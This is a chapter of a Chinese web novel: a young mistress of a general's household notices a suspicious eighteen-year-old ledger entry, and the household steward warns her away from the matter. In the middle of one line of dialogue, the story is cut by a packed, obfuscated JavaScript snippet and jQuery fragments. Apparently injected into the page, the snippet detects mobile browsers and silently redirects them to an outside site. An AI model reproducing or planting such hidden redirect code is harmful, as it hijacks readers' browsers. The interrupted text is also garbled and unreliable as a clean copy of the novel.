胡主事先前的教导,她还记忆犹新——“记账最重要的规矩,就是每一条账目,都得注明时间、对象、数目以及缘由。”可眼前这一条分明只有时间与数目,简陋至极,再无其他关键信息。
江意晚不信邪地又再度确认了一遍。果然,前面是空白,后续也是空白,这本账册仿佛就是为记录这区区一行字而存在的。
是意外?是错漏?还是……当年发生了什么秘而不宣的交易,被人暗地留下了记录?
丁亥年,距今约莫十八年。十八年前,将军府内到底发生了什么?为何会有如此巨额的数目无声无息地流入?
窗外月光如水,静静铺在江意晚的身后。寒意四起,她却只能感受到自己周身的血液在沸腾,在颤抖。心脏砰砰直跳,呼吸也变得急促。她隐约觉察到,似乎有某个尘封已久的秘密正随着她翻开这页纸,缓缓浮出水面。
这一行字似乎有某种神奇的念力,能够牢牢吸附着她的目光,引她凝视许久。莫名的激动混着忧虑在心头涌动,逼得她深深吸了一口气。
良久,她才终于平复心情,重新合上账簿,小心翼翼地将其归于原处。
明日,她定得想个法子一探究竟。
……
翌日清晨,江意晚再度在小三的陪伴下前往了账房。抵达之时,胡主事正与其他账房先生议事,一见她来,便是快步迎上:“大少奶奶今日来得可真早,账目核查得如何了?”
“上月账目我已悉数核查完毕。胡主事,烦请您帮我检查检查。”江意晚一边应着,一边将自己整理好的账册放置于书案上。
胡主事见状不由惊讶地张大了嘴,连带着脸上的褶子都舒展了几分:“不过数日,大少奶奶竟是已核查完了?您这未免也太有天赋了吧。”
“那是,大少奶奶可是小三见过最聪明的人了。山羊胡你小心点儿,以后大少奶奶要抢你饭碗咯。”小三笑嘻嘻地打趣道。
“小三,休要胡言。还得是胡主事教的好,我这才能尽早完成。”江意晚轻嗔一句,又朝胡主事微笑道,“还请胡主事看看,如有差错,我即刻修改。”
“好,好,老夫这就看。”胡主事拾起案上账册专注地一页页翻阅,有时蹙着眉,有时又微微点头。直至翻阅完所有账册,他才再度望向江意晚,此时他的眼中只带着按压不住的赞许:“大少奶奶当真聪慧,这上月的账目您核对得几乎全对,只是在这一处小有疏漏。您看,这条账目您只记了日期,却忘记加上年份。虽然都是同一年的账,但还是得加上年份,这才算准确。”
江意晚顺着他手指所指的方向凑近查看,果然,是她故意漏写年份的那一条。她假意自责地叹气道:“抱歉,是我失察了,我这便去添上。看来比起胡主事您这般心细如发,我还差得远呢。”
“大少奶奶不必自责,管账复杂,难免有时疏忽。大少奶奶您又是初学,能核对得这般,已经很是难得。”胡主事自觉江意晚是可塑之才,眼下又被她一通夸赞,便忍不住扬起嘴角,轻抚着胡须宽慰道。
“多谢胡主事谬赞,日后还望主事多多关照,以免我再犯了这等小错。”江意晚轻声道谢,又轻轻抬眸,顺势问道,“先生行事这般周全,想必这些年来,断然没有如我这般粗心漏记过吧?”
胡主事笑了笑,语气相当轻快:“实不相瞒,当初刚学管账的时候,我错的可比大少奶奶您多多了。多亏当初师父对我时时教诲,我这人也听话好学,这才养成了如今这细致性子,一切才渐渐好了起来。后来从他老人家手里接过账房主事一职后,我便再未记错过账。”
眼见对话完全按照预想的方向走,江意晚眸光愈发深邃:“不知胡主事入府多少年了?”
胡主事微微阖目,脸上神色带着一抹回味:“我入府时,尚是个懵懂少年,跟着师父苦学数年,才堪堪能出师接手账房事务。一晃眼,接手至今都已近二十年光阴。”
接手二十年从无错漏?那十八年前的这一笔残缺账目,即便不是胡主事所记,也定是有人故意如此记载。
她顺着话茬继续道:“胡主事入府多年,想来对府里诸事定是了如指掌。”
胡主事笑得和蔼:“不错,大少奶奶若对这府中之事有所好奇,老夫或能为您解惑。”
“大少奶奶,您想知道府里的事不用问他,问小三也行呀。小三也知道不少呢,大少奶奶您有什么想问的,尽管问。”静坐一旁百无聊赖的小三此时终于找到时机插话,兴高采烈道。
胡主事侧目瞪了小三一眼:“臭小子,你才多大,能知道多少事?老夫在府里呆的时间,比你活得都久。”
“呸呸呸,老不死的。什么叫比我活得都久,你这是在咒我死得早吗?”小三跳起来凑到二人跟前,嘴上骂骂咧咧,脸上表情倒是毫不在意,甚至带着些懒散的笑意,“你呀,不就是担心大少奶奶问话,你答不上来,反倒是我这年轻人答出来了嘛。老头,害怕你就直说,不必拐弯抹角的。你若有胆量,敢不敢和我比一比啊?”
“你这臭小子,目无尊长,毫无礼法,成何体统!”胡主事被气的一连说了成串成语,“比就比,老夫难道还怕了你不成?”
江意晚眼看他们俩人你一言我一语,争得不亦乐乎,却是毫无火药味,更像是插科打诨,无奈道:“小三、胡主事,你们莫要争了,我本来也没有什么特别想问的。”
谁料话音刚落,小三、胡主事竟同时转头望向她,齐声喊道:“不行!大少奶奶,您得问!”
“……”江意晚被这一老一小折腾得霎时无言以对,只得清了清嗓子,故作正经地开口,“好好好,那我就随便问问。十八年前,府里可有发生什么大事?”
江意晚不过轻声一语,于胡主事而言,却如风云突变。先前专注与小三打闹的他闻声瞬间敛了笑意,不着痕迹地往后退了几步,紧接着目光一沉,直直投向江意晚,却只是凝望,静默不语。
反倒是小三挥着手臂,不满地哀嚎了几声:“不行不行!大少奶奶,您这问题问得也太偏心了吧?十八年前我还没出生呢,哪里知道府里发生了什么。”
江意晚迎着胡主事的目光,若无其事地浅浅笑道:“哎呀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971988|171663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我随口问的。抱歉小三,看来你和这问题没缘分呀。胡主事,您怎么说,能答得上来吗?”
“大少奶奶这问,老夫自然是能答得上来,只是大少奶奶您问的不巧。十八年前……正是上一任季将军薨逝那年。府内众人都将这年视作禁忌,大少奶奶,您还是不要探究的好。反正左右都是些陈芝麻烂谷子的事了,大少奶奶您如今也不必在意,老夫也就不再多言了。”胡主事淡淡一笑,此时面色已瞧不出任何异样。
“老夫虽不过是个账房先生,一生对着账簿倒也获了些心得,今日高兴,便大少奶奶分享了可好?老夫我啊,掌账之时,只管记账,从来不问为何。老夫始终谨记,掌账的前提,是得有账本。您说,若是连账本都失了,又有何物可掌呢?掌账如此,掌家如此,旁的亦是如此。大少奶奶,这话,您可明白?”
小三闻声茫然地看了看胡主事,又转头望向江意晚,只见她垂下眼眸,轻声应道:“多谢主事提点。”
“好了,大少奶奶。如今您已将掌账本领学会,回头老夫自会向老夫人禀报。您还有别的掌家之务要学,老夫便也不多留您了。”胡主事淡然一笑,又冲小三道,“臭小子,下回来的时候,记得把我的银子还回来!”
小三冲他吐了吐舌头,讪讪笑道:“下次一定,下次一定!”
.
学完掌账后,江意晚又在将军府中各房辗转研习。好在别处的事务对她都算不上难事,经手几遭,便也摸透了大半。钻研之际,一月时光很快过去。
这些日子里,江念欢仿佛转了性子,鲜少露面,而季将离也忙于科举筹备不见人影。江意晚空闲之时,便忍不住好奇——也不知科举筹备的如何了,难道要等比试结束,季将离才会回府?
直至科举前夜,她终于久违地见到了季将离。
“抱歉,意晚,这些日子实在是公务繁忙,一直不得闲过来。你,可有想我?”季将离大步流星,踏着夜风缓步入室。月光混着烛火,将他高大身形照的极其明亮,几乎将她的视线牢牢钉住。
小三扛着一副沉甸甸的金色盔甲紧随其后,在迈入屋内后,便是小心翼翼地将盔甲置于角落,随后笑道:“少爷,盔甲给您放这儿了。我就先撤了,不打扰您和大少奶奶二人世界啦。”
言罢,他便是一溜烟地跑了,还不忘关上了房门。
江意晚好奇地望向那副盔甲,此物通体泛着金光,纹饰极其精美。头盔高耸,顶端镶嵌一枚苍绿石,熠熠生辉。肩甲则是宽大厚重,两侧延伸出尖锐羽翼,既能装饰,又能御敌。胸甲、护臂、腿甲亦是同样精妙,背后还添置了可调节的系带,能够将其调试至最贴合身体的状态。她不禁问道:“这是先祖皇帝赐与将军府的那套护国金甲?你带这宝贝来我这儿作甚?”
“对,正是。明日武试要穿,我怕来不及,就先带过来,明日醒了直接换上即可。”季将离转身倚着桌沿望她,唇边扬起一道浅浅的弧度。
“哦。”江意晚随口一应,又忽然反应过来——
等一下,他这意思是,今夜要在此处留宿?